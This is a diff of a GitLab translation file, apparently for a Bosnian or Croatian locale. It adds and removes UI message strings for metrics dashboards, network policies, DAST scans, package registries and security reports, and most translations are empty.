+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15175,6 +15595,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15277,6 +15703,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15286,9 +15718,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15322,9 +15751,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15337,9 +15772,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15367,6 +15799,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15391,6 +15826,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15469,6 +15907,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15520,12 +15961,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15691,6 +16138,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15736,6 +16192,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Mjeseci"
@@ -15925,12 +16384,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15940,6 +16432,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15952,6 +16447,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15970,12 +16468,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16000,9 +16504,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16015,9 +16525,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16411,12 +16966,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16504,18 +17065,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16663,9 +17218,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16705,9 +17257,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16750,21 +17299,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16774,25 +17329,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16852,9 +17413,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16873,6 +17431,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16888,9 +17449,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17011,18 +17578,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17056,9 +17617,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17143,6 +17701,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17158,6 +17722,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17176,9 +17743,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17215,27 +17779,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17284,13 +17839,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17434,7 +17995,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17938,6 +18499,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18091,13 +18655,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18109,6 +18673,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18400,15 +18967,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18799,6 +19360,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18823,6 +19387,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19414,7 +19981,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19423,10 +19990,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19486,6 +20062,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19540,6 +20119,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19621,6 +20203,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19951,9 +20536,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20050,6 +20632,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20143,6 +20728,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20185,6 +20773,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20254,9 +20845,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20290,9 +20878,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20305,12 +20890,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20359,15 +20938,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20551,9 +21124,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20743,9 +21313,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20926,6 +21502,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20938,6 +21517,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21064,6 +21646,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21094,6 +21679,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21142,6 +21730,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21184,6 +21775,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21391,6 +21985,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21418,13 +22015,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21445,6 +22066,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21472,7 +22096,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21508,13 +22132,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21529,19 +22150,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21553,6 +22168,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21571,13 +22189,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21649,7 +22267,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21658,6 +22276,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21688,9 +22309,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "Odaberi"
@@ -21814,6 +22432,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21844,6 +22465,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22033,6 +22657,12 @@ msgstr "TehniÄka PodrÅ¡ka"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22045,6 +22675,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22363,19 +22999,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22471,6 +23107,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22513,7 +23152,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22564,12 +23203,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
